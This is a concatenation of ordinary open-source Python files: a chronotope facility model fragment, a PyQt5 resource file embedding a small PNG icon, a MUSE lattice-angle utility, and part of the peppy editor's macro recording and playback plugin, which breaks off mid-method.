default='Container for Facilities'
),
icon='glyphicon glyphicon-record',
addables=['facility'])
class Facilities(SQLTableNode):
record_class = FacilityRecord
child_factory = Facility
@instance_property
def properties(self):
props = Properties()
props.in_navtree = True
props.action_up = True
props.action_up_tile = 'content'
props.action_add = True
props.default_content_tile = 'listing'
return props
@instance_property
def metadata(self):
md = Metadata()
md.title = _('facilities_label', default='Facilities')
md.description = _(
'facilities_description',
default='Container for Facilities'
)
return md
|
rnixx/chronotope
|
src/chronotope/model/facility.py
|
Python
|
gpl-2.0
| 4,882
|
# -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt5 (Qt v5.7.1)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
\x00\x00\x05\x96\
\x89\
\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\
\x00\x00\x18\x00\x00\x00\x18\x08\x06\x00\x00\x00\xe0\x77\x3d\xf8\
\x00\x00\x00\x04\x73\x42\x49\x54\x08\x08\x08\x08\x7c\x08\x64\x88\
\x00\x00\x00\x09\x70\x48\x59\x73\x00\x00\x0d\xd7\x00\x00\x0d\xd7\
\x01\x42\x28\x9b\x78\x00\x00\x00\x19\x74\x45\x58\x74\x53\x6f\x66\
\x74\x77\x61\x72\x65\x00\x77\x77\x77\x2e\x69\x6e\x6b\x73\x63\x61\
\x70\x65\x2e\x6f\x72\x67\x9b\xee\x3c\x1a\x00\x00\x00\x18\x74\x45\
\x58\x74\x54\x69\x74\x6c\x65\x00\x47\x49\x53\x20\x69\x63\x6f\x6e\
\x20\x74\x68\x65\x6d\x65\x20\x30\x2e\x32\xee\x53\xa0\xa0\x00\x00\
\x00\x18\x74\x45\x58\x74\x41\x75\x74\x68\x6f\x72\x00\x52\x6f\x62\
\x65\x72\x74\x20\x53\x7a\x63\x7a\x65\x70\x61\x6e\x65\x6b\x5f\x56\
\xb1\x08\x00\x00\x00\x27\x74\x45\x58\x74\x44\x65\x73\x63\x72\x69\
\x70\x74\x69\x6f\x6e\x00\x68\x74\x74\x70\x3a\x2f\x2f\x72\x6f\x62\
\x65\x72\x74\x2e\x73\x7a\x63\x7a\x65\x70\x61\x6e\x65\x6b\x2e\x70\
\x6c\x90\x59\x48\x60\x00\x00\x00\x18\x74\x45\x58\x74\x43\x72\x65\
\x61\x74\x69\x6f\x6e\x20\x54\x69\x6d\x65\x00\x32\x30\x30\x38\x2d\
\x31\x32\x2d\x31\x32\x58\x2e\x3b\xbf\x00\x00\x00\x52\x74\x45\x58\
\x74\x43\x6f\x70\x79\x72\x69\x67\x68\x74\x00\x43\x43\x20\x41\x74\
\x74\x72\x69\x62\x75\x74\x69\x6f\x6e\x2d\x53\x68\x61\x72\x65\x41\
\x6c\x69\x6b\x65\x20\x68\x74\x74\x70\x3a\x2f\x2f\x63\x72\x65\x61\
\x74\x69\x76\x65\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x6f\x72\x67\x2f\
\x6c\x69\x63\x65\x6e\x73\x65\x73\x2f\x62\x79\x2d\x73\x61\x2f\x33\
\x2e\x30\x2f\x5e\x83\x5a\xbc\x00\x00\x04\x16\x49\x44\x41\x54\x48\
\x89\x95\x93\x6d\x6c\x53\x55\x18\xc7\x7f\xf7\xde\xde\x7b\xdb\xb5\
\xb7\x4c\xde\xc6\x14\x37\x32\x12\x08\x0b\x64\xf8\x01\xb2\xb8\xad\
\xc9\x3e\x30\x12\x83\xd9\x10\x05\xb7\x25\x0c\x21\x42\x0c\x0c\x48\
\xcc\x28\x16\x0d\x01\x92\x45\x8a\x1f\xe4\x25\x82\xa0\x4b\xc0\x28\
\xcc\x28\x26\xc2\x17\x08\xfb\x00\x63\xc9\xfa\xc1\xc0\x4c\xd4\xac\
\xdb\x9c\x61\x71\x05\x9c\xb3\x8c\x5b\xa0\x5d\x6f\x8f\x1f\x48\x47\
\x5b\xee\xdc\xfc\x27\x27\xf7\xe5\xf9\x9f\xf3\x3b\xcf\xf3\x9c\x23\
\xbd\xb5\x61\xdd\x25\x24\x0a\x99\x4a\x82\xc8\xb7\x17\xbe\x7b\x7d\
\x4a\x5f\x8e\x1c\x48\x14\xbe\xdd\xb0\x01\xc3\x6d\x00\xf0\x30\xf6\
\x90\x0b\xdf\xb4\x63\xf3\x6f\xea\x4d\xd8\x02\x60\x62\xa1\x47\x4f\
\xc6\x67\x27\x92\xca\x3c\x21\x39\xee\x1a\x6e\x63\x24\x6d\x4a\xc7\
\x27\xd3\x9a\x1d\x07\x36\x63\x59\x01\x14\xa5\xf5\xf2\x89\xfd\x6d\
\x99\x31\x39\xf3\xe3\x71\x7c\x7c\xde\xec\x39\x73\x74\x21\x29\xff\
\x6f\xb7\x96\xb5\xbf\x65\x4f\xcb\x42\x2c\x2b\x90\x1b\x92\xe1\x69\
\x09\x00\x5c\xba\x7a\xf7\xf7\xc1\x41\x00\x69\xcc\x1c\x93\xd2\xa6\
\x74\xdc\x4e\xd5\xd5\x07\x1c\xe3\x56\xd2\x71\xf8\xe3\xc3\xa0\x28\
\xad\xb9\x71\x07\x82\x48\x46\x7d\x47\xc6\x51\x8b\x9d\x4e\x5d\x39\
\x7f\xfe\xfb\x17\x65\xac\x3f\x27\x9c\x82\x88\x1d\x40\x29\x36\x0f\
\xce\x9f\xbf\x60\x46\xb8\x37\x4c\xe7\xd7\x47\xdb\x9e\x33\x08\x21\
\xb2\x46\x65\xc3\x4e\x71\x2d\x3c\x2a\x56\x6d\xf1\xc7\x2a\x1a\x9b\
\xcb\x73\xe3\x99\xa3\xa2\xb1\xb9\x7c\xd5\x16\x7f\xec\x5a\x78\x54\
\x54\x36\xec\x14\x76\x9e\xac\x1e\xac\xd9\x71\x60\xb3\xe1\x31\xe8\
\x1f\x18\xa0\xbe\xbe\x3e\xcf\xa9\xea\x17\xab\xd7\x6f\xf7\xd8\x96\
\x66\xfd\x76\x8f\x53\xd5\x2f\xd6\xd7\xd7\xe7\xf5\x0f\x0c\x60\x78\
\x8c\xa7\xcd\xce\x51\x16\x00\xcb\x0a\xf8\xf7\xfa\xe9\xbc\x7e\x83\
\xd2\xd2\x52\xca\xca\x96\xe7\x2b\x86\xfb\x94\x6d\x69\x0c\xf7\xa9\
\xb2\xb2\xe5\xf9\xa5\xa5\xa5\x74\x5e\xbf\x81\x7f\xaf\x9f\x49\x9b\
\xfc\x6c\x96\xd2\x1a\x0c\x06\x1f\x18\x5e\x4f\x12\xa0\x6e\x6d\x9d\
\xcb\xa9\xeb\x75\xbe\xc6\x5d\xb5\x99\x36\x5f\xe3\xae\x5a\xa7\xae\
\xd7\xd5\xad\xad\x73\x01\x18\x5e\x4f\x32\x18\x0c\x3e\xb0\x6b\x72\
\x16\xe0\xf2\x89\xfd\x6d\xd1\xd8\xc8\xa2\x70\xb8\x2f\x61\x9a\x26\
\x9a\xa6\xd1\xd4\xb4\xc9\xad\x6a\xda\xd9\xf2\x86\xdd\x05\x00\xe5\
\x0d\xbb\x0b\x54\x4d\x3b\xdb\xd4\xb4\xc9\xad\x69\x1a\xa6\x69\x12\
\x0e\xf7\x25\xa2\xb1\x91\x45\xb9\x77\xe0\xf9\x0c\x80\xae\x73\x27\
\xef\xcb\x92\xdc\xd6\xd1\xd1\x11\x07\x28\x2a\x2a\xc2\xe7\xab\xca\
\x33\x9c\x7a\xbb\x24\x49\x92\xe1\xd4\xdb\x7d\xbe\xaa\xbc\xa2\xa2\
\x22\x00\x3a\x3a\x3a\xe2\xb2\x24\xb7\x75\x9d\x3b\x79\xdf\xae\x94\
\xcf\x01\x00\x1e\x25\xc7\x0e\x85\x42\x21\xcb\x34\x4d\x00\x6a\x6a\
\x56\xab\x86\xd7\x5b\xfe\xda\xb6\x7d\x31\xc3\xeb\x2d\xaf\xa9\x59\
\xad\x02\x98\xa6\x49\x28\x14\xb2\x1e\x25\xc7\x0e\xd9\xad\x03\x20\
\x09\x21\x6c\x03\xab\x36\xfb\x8f\xaf\x58\xb9\xe2\xdd\xda\xda\x5a\
\x1d\xe0\xd8\xd1\x63\x6c\xdd\xb6\x95\xd3\x9f\x9f\xa6\xf9\x9d\x4a\
\x52\x7d\x1f\x91\xf8\xbb\x0b\x91\x4a\x24\x34\x39\xf9\xd8\x66\x89\
\x90\x80\xc0\xa4\x80\x8a\x8d\xef\xcd\x75\x2a\x9e\xc1\x40\x20\x90\
\xe7\xf1\x78\xb8\xdd\xd3\xc3\xcd\xce\x4e\x2a\xab\xaa\x58\x16\xdf\
\x8d\x14\xfb\x19\x97\x51\x82\x2c\x3b\x91\x15\x27\x92\xa2\x21\xac\
\x04\x42\x58\xcc\x5a\xd8\xc8\x9d\x9f\x3e\xc0\x4a\x44\x6f\x4e\x0a\
\xb0\xcb\x22\xad\xe4\x55\x0d\x63\x6e\x05\x0e\xed\x85\x2c\xbf\xaa\
\xcf\xa6\x70\xe9\xfb\xb8\xf2\x97\x32\x32\xf0\x15\xfd\x37\x37\xda\
\xf7\x20\xad\xdc\x5e\x64\x4a\x76\x64\xdf\x3f\xe7\x8c\xc5\xcc\x7f\
\xe5\x20\xae\xfc\xa5\xc4\xcd\x41\x46\x87\x2e\x3d\xf5\xfd\x17\x20\
\xf7\x44\x65\x01\x64\x75\xe2\xdd\x53\xe0\xe3\xa5\x65\x01\x34\xf7\
\xcb\x24\xe3\xa3\xdc\xfd\xf5\x18\xc2\x7a\x3c\x35\xc0\x2e\x8b\xdc\
\x6c\xbc\xf3\xaa\x29\x5c\xd2\x8c\x43\x9f\x49\xca\x8a\xf3\x57\xdf\
\x97\x3c\x79\xd8\xff\x6c\x23\x53\x01\x72\xb3\x48\x3f\xa3\xc3\x57\
\x70\xcf\x59\x49\x74\xf8\x2a\xff\x0c\xfd\x08\x08\x22\xbf\x7c\xc2\
\x9d\x5b\xfb\x88\x0e\x5f\x21\x3a\x7c\x65\x7a\x80\xcc\x2c\x22\x91\
\x08\xa1\x50\xc8\x02\x40\xa4\x98\x55\xfc\x26\x25\xaf\x9e\xe6\x5e\
\xef\x29\x06\xbb\x77\x30\x74\xeb\x43\x44\x6a\x7c\x62\x4c\x1b\xd0\
\x75\xee\xe4\x7d\x4d\xd5\xbb\xbf\x38\x73\x06\x4d\xd5\xbb\x01\x66\
\x2d\x58\x8f\x6b\xc6\x12\x24\x49\x61\x66\xf1\x1b\xdc\xeb\xfd\xcc\
\x76\xee\xb4\x00\x00\x8a\x22\x97\xb4\xec\xd9\x83\xa2\xc8\x25\x48\
\xf4\xa8\xae\x02\x06\xbb\xb7\x73\xfb\x87\x45\xfc\x11\x6a\xb6\x9f\
\x24\xd1\xe3\x98\x2e\x00\x45\x39\x74\x24\x78\x24\x80\xa2\xb4\x92\
\x62\x28\xf2\xdb\xa7\xc7\x11\x2c\x9e\xd4\x2f\xd1\x4b\x8a\x96\x7f\
\x01\xb3\x71\xdb\xcb\x12\x7d\x31\x70\x00\x00\x00\x00\x49\x45\x4e\
\x44\xae\x42\x60\x82\
"
qt_resource_name = b"\
\x00\x07\
\x07\x3b\xe0\xb3\
\x00\x70\
\x00\x6c\x00\x75\x00\x67\x00\x69\x00\x6e\x00\x73\
\x00\x08\
\x09\xcb\x6f\x53\
\x00\x44\
\x00\x73\x00\x67\x00\x54\x00\x6f\x00\x6f\x00\x6c\x00\x73\
\x00\x0a\
\x0b\x6f\x47\xe0\
\x00\x44\
\x00\x73\x00\x67\x00\x54\x00\x6f\x00\x6f\x00\x6c\x00\x73\x00\x4f\x00\x70\
\x00\x0d\
\x01\xed\x72\x73\
\x00\x4d\
\x00\x69\x00\x6c\x00\x69\x00\x74\x00\x61\x00\x72\x00\x79\x00\x54\x00\x6f\x00\x6f\x00\x6c\x00\x73\
\x00\x13\
\x0c\xc0\x02\x64\
\x00\x6e\
\x00\x75\x00\x6d\x00\x65\x00\x72\x00\x69\x00\x63\x00\x61\x00\x6c\x00\x56\x00\x65\x00\x72\x00\x74\x00\x65\x00\x78\x00\x45\x00\x64\
\x00\x69\x00\x74\
\x00\x18\
\x0a\x0d\x3f\x47\
\x00\x76\
\x00\x65\x00\x63\x00\x74\x00\x6f\x00\x72\x00\x2d\x00\x65\x00\x64\x00\x69\x00\x74\x00\x2d\x00\x6b\x00\x65\x00\x79\x00\x62\x00\x6f\
\x00\x61\x00\x72\x00\x64\x00\x2e\x00\x70\x00\x6e\x00\x67\
"
qt_resource_struct = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\
\x00\x00\x00\x14\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\
\x00\x00\x00\x2a\x00\x02\x00\x00\x00\x01\x00\x00\x00\x04\
\x00\x00\x00\x44\x00\x02\x00\x00\x00\x01\x00\x00\x00\x05\
\x00\x00\x00\x64\x00\x02\x00\x00\x00\x01\x00\x00\x00\x06\
\x00\x00\x00\x90\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\
"
def qInitResources():
QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
|
phborba/dsgtoolsop
|
numericalVertexEdit/resources.py
|
Python
|
gpl-2.0
| 7,700
|
"""
MUSE -- A Multi-algorithm-collaborative Universal Structure-prediction Environment
Copyright (C) 2010-2017 by Zhong-Li Liu
This program is free software; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software Foundation
version 2 of the License.
This program is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
E-mail: zl.liu@163.com
"""
import numpy as np
import math
def calc_angle(l1, l2):
v10 = l1
v12 = l2
v10 /= np.linalg.norm(v10)
v12 /= np.linalg.norm(v12)
angle = np.vdot(v10, v12)
angle = np.arccos(angle)*180/math.pi
return angle
def calc_3atoms_angle(pos1, pos2, pos3):
v10 = pos2 - pos1
v12 = pos3 - pos1
v10 /= np.linalg.norm(v10)
v12 /= np.linalg.norm(v12)
angle = np.vdot(v10, v12)
angle = np.arccos(angle)*180/math.pi
return angle
def dihedral_angle(cell_a, cell_b, cell_c):
a = cell_a
b = cell_b
c = cell_c
axb = np.cross(a, b)
axb /= np.linalg.norm(axb)
bxc = np.cross(b, c)
bxc /= np.linalg.norm(bxc)
angle = np.vdot(axb, bxc)
dangle = 180-np.arccos(angle)*180/math.pi
# print dangle
return dangle
if __name__ == '__main__':
cell = np.array([[2.7085009435849550, -2.7085009435849550, -0.0000000000000000],
[-2.7085009435849550, 0.0000000000000000, -2.7085009435849550],
[2.7085009435849550, 2.7085009435849550, -0.0000000000000000]])
cell_a = cell[0]
cell_b = cell[1]
cell_c = cell[2]
dihedral_angle(cell_a, cell_b, cell_c)
dihedral_angle(cell_b, cell_c, cell_a)
dihedral_angle(cell_c, cell_a, cell_b)
|
zhongliliu/muse
|
muse/Similarity/Calc_Angle.py
|
Python
|
gpl-2.0
| 1,889
|
# peppy Copyright (c) 2006-2010 Rob McMullen
# Licenced under the GPLv2; see http://peppy.flipturn.org for more info
"""Simple macros created by recording actions
This plugin provides macro recording
"""
import os
import wx
from wx.lib.pubsub import Publisher
from peppy.yapsy.plugins import *
from peppy.actions import *
from peppy.actions.minibuffer import *
from peppy.major import MajorMode
from peppy.majormodematcher import MajorModeMatcherDriver
from peppy.minor import *
from peppy.sidebar import *
from peppy.lib.multikey import *
from peppy.debug import *
import peppy.vfs as vfs
from peppy.vfs.itools.vfs.memfs import MemFS, MemFile, MemDir, TempFile
class CharEvent(FakeCharEvent):
"""Fake character event used by L{RecordKeyboardAction} when generating
scripted copies of an action list.
"""
def __init__(self, key, unicode, modifiers):
self.id = -1
self.event_object = None
self.keycode = key
self.unicode = unicode
self.modifiers = modifiers
self.is_quoted = True
@classmethod
def getScripted(cls, evt):
"""Returns a string that represents the python code to instantiate
the object.
Used when serializing a L{RecordedKeyboardAction} to a python string
"""
return "%s(%d, %d, %d)" % (cls.__name__, evt.GetKeyCode(), evt.GetUnicodeKey(), evt.GetModifiers())
class RecordedKeyboardAction(RecordedAction):
"""Subclass of L{RecordedAction} for keyboard events.
"""
def __init__(self, action, evt, multiplier):
RecordedAction.__init__(self, action, multiplier)
self.evt = FakeCharEvent(evt)
# Hack to force SelfInsertCommand to process the character, because
# normally it uses the evt.Skip() to force the EVT_CHAR handler to
# insert the character.
self.evt.is_quoted = True
def __str__(self):
return "%s: %dx%s" % (self.actioncls.__name__, self.multiplier, self.evt.GetKeyCode())
def performAction(self, system_state):
action = self.actioncls(system_state.frame, mode=system_state.mode)
action.actionKeystroke(self.evt, self.multiplier)
def getScripted(self):
return "%s(frame, mode).actionKeystroke(%s, %d)" % (self.actioncls.__name__, CharEvent.getScripted(self.evt), self.multiplier)
class RecordedMenuAction(RecordedAction):
"""Subclass of L{RecordedAction} for menu events.
"""
def __init__(self, action, index, multiplier):
RecordedAction.__init__(self, action, multiplier)
self.index = index
def __str__(self):
return "%s x%d, index=%s" % (self.actioncls.__name__, self.multiplier, self.index)
def performAction(self, system_state):
action = self.actioncls(system_state.frame, mode=system_state.mode)
action.action(self.index, self.multiplier)
def getScripted(self):
return "%s(frame, mode).action(%d, %d)" % (self.actioncls.__name__, self.index, self.multiplier)
class ActionRecorder(AbstractActionRecorder, debugmixin):
"""Creates, maintains and plays back a list of actions recorded from the
user's interaction with a major mode.
"""
def __init__(self):
self.recording = []
def __str__(self):
summary = ''
count = 0
for recorded_item in self.recording:
if hasattr(recorded_item, 'text'):
summary += recorded_item.text + " "
if len(summary) > 50:
summary = summary[0:50] + "..."
count += 1
if len(summary) == 0:
summary = "untitled"
return MacroFS.escapeFileName(summary)
def details(self):
"""Get a list of actions that have been recorded.
Primarily used for debugging, there is no way to use this list to
play back the list of actions.
"""
lines = []
for recorded_item in self.recording:
lines.append(str(recorded_item))
return "\n".join(lines)
def recordKeystroke(self, action, evt, multiplier):
if action.isRecordable():
record = RecordedKeyboardAction(action, evt, multiplier)
self.appendRecord(record)
def recordMenu(self, action, index, multiplier):
if action.isRecordable():
record = RecordedMenuAction(action, index, multiplier)
self.appendRecord(record)
def appendRecord(self, record):
"""Utility method to add a recordable action to the current list
This method checks for the coalescability of the record with the
previous record, and it is merged if possible.
@param record: L{RecordedAction} instance
"""
self.dprint("adding %s" % record)
if self.recording:
last = self.recording[-1]
if last.canCoalesceActions(record):
self.recording.pop()
record = last.coalesceActions(record)
self.dprint("coalesced into %s" % record)
self.recording.append(record)
def getRecordedActions(self):
return self.recording
def playback(self, frame, mode, multiplier=1):
mode.BeginUndoAction()
state = MacroPlaybackState(frame, mode)
self.dprint(state)
SelectAction.debuglevel = 1
while multiplier > 0:
for recorded_action in self.getRecordedActions():
recorded_action.performAction(state)
multiplier -= 1
SelectAction.debuglevel = 0
mode.EndUndoAction()
class PythonScriptableMacro(MemFile):
"""A list of serialized SelectAction commands used in playing back macros.
This object contains python code in the form of text strings that
provide a way to reproduce the effects of a previously recorded macro.
Additionally, since they are in plain text, they may be carefully edited
by the user to provide additional functionality that is not possible only
using the record capability.
The generated python script looks like the following:
SelfInsertCommand(frame, mode).actionKeystroke(CharEvent(97, 97, 0), 1)
BeginningTextOfLine(frame, mode).actionKeystroke(CharEvent(65, 65, 2), 1)
SelfInsertCommand(frame, mode).actionKeystroke(CharEvent(98, 98, 0), 1)
ElectricReturn(frame, mode).actionKeystroke(CharEvent(13, 13, 0), 1)
where the actions are listed, one per line, by their python class name.
The statements are C{exec}'d in in the global namespace, but have a
constructed local namespace that includes C{frame} and C{mode} representing
the current L{BufferFrame} and L{MajorMode} instance, respectively.
"""
keyword_mapping = {
'key': 'key_binding',
}
def __init__(self, recorder=None, name=None):
"""Converts the list of recorded actions into python string form.
"""
if isinstance(recorder, str):
data = recorder
elif recorder:
name = str(recorder)
data = self.getScriptFromRecorder(recorder)
else:
data = ""
if name is None:
name = "untitled"
MemFile.__init__(self, data, name)
self.parseMacroForMetadata()
def __str__(self):
return self.name
def get_key_binding(self):
try:
return self._key_binding
except AttributeError:
self._key_binding = None
return None
def set_key_binding(self, binding):
self._key_binding = binding
key_binding = property(get_key_binding, set_key_binding)
def save(self, url):
"""Save this macro to the specified macro: url
"""
dprint("Saving to %s" % url)
self.rebuildMacroAndMetadata()
fh = vfs.open_write(url)
fh.write(self.data)
fh.close()
def rebuildMacroAndMetadata(self):
"""Reconstructs text of macro taking into account any changes in
the keybindings or other metadata
"""
lines = []
comments = []
found = {}
in_opening_comments = True
for line in self.data.splitlines():
dprint(line)
if line.startswith("#@") and in_opening_comments:
key, value = self.splitMacroComment(line)
if key in self.keyword_mapping:
attribute = self.keyword_mapping[key]
value = getattr(self, attribute)
if value is not None:
dprint("found new %s = %s" % (key ,value))
line = "#@ %s %s" % (key, value)
found[key] = value
else:
found[key] = None
comments.append(line)
else:
in_opening_comments = False
lines.append(line)
for key, attribute in self.keyword_mapping.iteritems():
if key not in found:
value = getattr(self, attribute)
if value is not None:
dprint("adding new %s = %s" % (key ,value))
line = "#@ %s %s" % (key, value)
comments.append(line)
self.data = "\n".join(comments) + "\n" + "\n".join(lines) + "\n"
def parseMacroForMetadata(self):
"""Parses the macro comments for any metadata that might be present
Included in macro metadata are key bindings, authorship, etc. They are
comment lines in the format C{#@param value} where 'param' is one of
'key', 'author', 'name', 'created'
"""
for line in self.data.splitlines():
if line.startswith("#@"):
self.parseMacroComment(line[2:])
def splitMacroComment(self, line):
"""Split a macro comment into a key, value pair
Macro comments are lines that begin with #@ as the first two
characters. After that two character indicator, the remainder of the
line is a keyword and a value separated by whitespace. The keyword
can't contain any whitespace, so everything after the first block of
whitespace is considered the value.
"""
if line.startswith("#@"):
line = line[2:]
key, value = line.strip().split(" ", 1)
value = value.strip()
return key, value
def parseMacroComment(self, line):
"""Parse a single macro comment
The comment should have already been stripped of its leading delimiter.
"""
key, value = self.splitMacroComment(line)
if key in self.keyword_mapping:
attribute = self.keyword_mapping[key]
setattr(self, attribute, value)
dprint("found %s = %s" % (key ,value))
def setName(self, name):
"""Changes the name of the macro to the supplied string.
"""
self.name = name
def getScriptFromRecorder(self, recorder):
"""Converts the list of recorded actions into a python script that can
be executed by the L(playback) method.
Calls the L{RecordAction.getScripted} method of each recorded action to
generate the python script version of the action.
@returns: a multi-line string, exec-able using the L{playback} method
"""
script = ""
lines = []
for recorded_action in recorder.getRecordedActions():
lines.append(recorded_action.getScripted())
script += "\n".join(lines) + "\n"
return script
def playback(self, frame, mode, multiplier=1):
"""Plays back the list of actions.
Uses the current frame and mode as local variables for the python
scripted version of the action list.
"""
local = {'mode': mode,
'frame': frame,
}
self.addActionsToLocal(local)
if hasattr(mode, 'BeginUndoAction'):
mode.BeginUndoAction()
mode.beginProcessingMacro()
try:
while multiplier > 0:
exec self.data in globals(), local
multiplier -= 1
except Exception, e:
import traceback
error = "Error in macro %s:\n%s\n\n" % (self.name, traceback.format_exc())
Publisher().sendMessage('peppy.log.info', (frame, error))
finally:
mode.endProcessingMacro()
if hasattr(mode, 'BeginUndoAction'):
mode.EndUndoAction()
def addActionsToLocal(self, local):
"""Sets up the local environment for the exec call
All the possible actions must be placed in the local environment for
the call to exec.
"""
actions = MacroAction.getAllKnownActions()
for action in actions:
local[action.__name__] = action
actions = SelectAction.getAllKnownActions()
for action in actions:
local[action.__name__] = action
class StartRecordingMacro(SelectAction):
"""Begin recording actions"""
name = "Start Recording"
key_bindings = {'default': "S-C-9", 'mac': "^S-9", 'emacs': ["C-x S-9", "S-C-9"]}
default_menu = (("Tools/Macros", -800), 100)
def action(self, index=-1, multiplier=1):
self.frame.root_accel.startRecordingActions(ActionRecorder())
self.mode.setStatusText("Recording macro...")
class StopRecordingMixin(object):
def stopRecording(self):
if self.frame.root_accel.isRecordingActions():
recorder = self.frame.root_accel.stopRecordingActions()
self.dprint(recorder)
macro = MacroFS.addMacroFromRecording(recorder, self.mode)
RecentMacros.append(macro)
self.mode.setStatusText("Stopped recording macro.")
class StopRecordingMacro(StopRecordingMixin, SelectAction):
"""Stop recording actions"""
name = "Stop Recording"
key_bindings = {'default': "S-C-0", 'mac': "^S-0", 'emacs': ["C-x S-0", "S-C-0"]}
default_menu = ("Tools/Macros", 110)
@classmethod
def isRecordable(cls):
return False
def action(self, index=-1, multiplier=1):
self.stopRecording()
class ReplayLastMacro(StopRecordingMixin, SelectAction):
"""Play back last macro that was recorded"""
name = "Play Last Macro"
key_bindings = {'default': "S-C-8", 'mac': "^S-8", 'emacs': ["C-x e", "S-C-8"]}
default_menu = ("Tools/Macros", 120)
def isEnabled(self):
return RecentMacros.isEnabled()
@classmethod
def isRecordable(cls):
return False
def action(self, index=-1, multiplier=1):
self.stopRecording()
macro = RecentMacros.getLastMacro()
if macro:
self.dprint("Playing back %s" % macro)
wx.CallAfter(macro.playback, self.frame, self.mode, multiplier)
else:
self.dprint("No recorded macro.")
class MacroNameMixin(object):
"""Abstract mixin that provides a mapping of macro names to macro paths
This mixin is used to provide macro names to a completion minibuffer.
"""
def getMacroPathMap(self):
"""Generate list of possible names to complete.
For all the currently active actions, find all the names and
aliases under which the action could be called, and add them
to the list of possible completions.
@returns: tuple containing a list and a dict. The list contains the
precedence of paths which is used to determine which duplicates are
marked as auxiliary names. The dict contains a mapping of the path to
the macros in that path.
"""
raise NotImplementedError
def createList(self):
"""Generate list of possible macro names to complete.
Uses L{getMacroPathMap} to get the set of macro names on which to
complete. Completes on macro names, not path names, so duplicate
macro names would be possible. Gets around any possible duplication
by using the macro path order to get the hierarchy of paths, and any
duplicates are marked with the path name.
So, if we are in Python mode and there are macros "macro:Python/test"
and "macro:Fundamental/test", the Python mode macro would be marked
as simply "test", while the fundamental mode macro would be marked as
"test (Fundamental)" to mark the distinction.
"""
self.map = {}
path_order, macros = self.getMacroPathMap()
self.macro_path_hierarchy = []
for path in path_order:
for name in macros[path]:
#dprint("name = %s" % name)
macro_path = "%s/%s" % (path, name)
if name in self.map:
name = "%s (%s)" % (name, path)
self.map[name] = macro_path
self.macro_path_hierarchy.append(macro_path)
self.sorted = self.map.keys()
self.sorted.sort()
self.dprint(self.sorted)
class ModeMacroNameMixin(MacroNameMixin):
"""Concrete mixin for MacroNameMixin supplying names for macros that only
work with the action's major mode.
"""
def getMacroPathMap(self):
hierarchy = self.mode.getSubclassHierarchy()
#dprint(hierarchy)
path_map = {}
path_order = []
for modecls in hierarchy:
path, names = MacroFS.getMacroNamesFromMajorModeClass(modecls)
path_map[path] = names
path_order.append(path)
return path_order, path_map
class ExecuteMacroByName(ModeMacroNameMixin, SelectAction):
"""Execute a macro by name
Using the tab completion minibuffer, execute an action by its name. The
actions shown in the minibuffer will be limited to the actions relevant to
the current major mode.
"""
name = "&Execute Macro"
key_bindings = {'default': "S-C-7", 'emacs': "C-c e", }
default_menu = ("Tools/Macros", 130)
def action(self, index=-1, multiplier=1):
# FIXME: ignoring number right now
self.createList()
minibuffer = StaticListCompletionMinibuffer(self.mode, self,
label = "Execute Macro",
list = self.sorted,
initial = "")
self.mode.setMinibuffer(minibuffer)
def processMinibuffer(self, minibuffer, mode, text):
if text in self.map:
macro_path = self.map[text]
macro = MacroFS.getMacro(macro_path)
if macro:
wx.CallAfter(macro.playback, self.frame, self.mode)
else:
self.frame.SetStatusText("%s not a known macro" % text)
class ExecuteMacroByKeystroke(ModeMacroNameMixin, SelectAction):
"""Map keystrokes to macros
Uses hooks in the keyboard processing to map keystrokes to macros on a
per-major-mode basis.
Normally, actions provide the same keystrokes regardless of the class of
major mode. If the action is available to that major mode, it has one and
only one definition for the keystroke.
This needs to change for macros, because some macros won't be
available to certain major modes. A hook is provided for this in the
L{SelectAction.addKeyBindingToAcceleratorList} method, which is an
instance method of L{SelectAction}
"""
name = "Execute Macro By Keystroke"
def addKeyBindingToAcceleratorList(self, accel_list):
self.createList()
for macro in self.iterModeMacros():
if macro.key_binding:
self.dprint(macro.key_binding)
accel_list.addKeyBinding(macro.key_binding, self)
def iterModeMacros(self):
"""Iterate through macros available to this major mode
The macros from more specific major modes are returned first, then
up through the superclasses to the most general major mode in
the class hierarchy. I.e. PythonMode macros are returned before
FundamentalMode, etc.
"""
order = self.macro_path_hierarchy[:]
order.reverse()
for path in order:
macro = MacroFS.getMacro(path)
self.dprint(macro)
yield macro
def actionKeystroke(self, evt, multiplier=1):
"""Match the last keystroke with an active macro and play it back if
a mach found
All macros are matched within this action; macros don't have individual
actions (currently), which means that they can't be bound in menus
or toolbars. This may change in a future release.
"""
accel_list = self.frame.root_accel
last = accel_list.getLastKeystroke()
# Precompute the current Keystrokes so it can be directly compared
# with the result of the KeyAccelerator.split method call
last_keystrokes = last.getKeystrokeTuple()
for macro in self.iterModeMacros():
if macro.key_binding:
keystrokes = KeyAccelerator.split(macro.key_binding)
self.dprint("checking %s, %s" % (macro, keystrokes))
if keystrokes == last_keystrokes:
self.dprint("playback macro %s" % macro)
wx.CallAfter(macro.playback, self.frame, self.mode, multiplier)
break
class RecentMacros(OnDemandGlobalListAction):
"""Play a macro from the list of recently created macros
Maintains a list of the recent macros and runs the selected macro if chosen
out of the submenu.
Macros are stored as a list of L{PythonScriptableMacro}s in most-recent to
least recent order.
"""
name = "Recent Macros"
default_menu = ("Tools/Macros", -200)
inline = False
storage = []
@classmethod
def isEnabled(cls):
return bool(cls.storage)
@classmethod
def append(cls, macro):
"""Adds the macro to the list of recent macros.
"""
cls.storage[0:0] = (macro.name, )
cls.trimStorage(MacroPlugin.classprefs.list_length)
cls.calcHash()
@classmethod
def validateAll(cls):
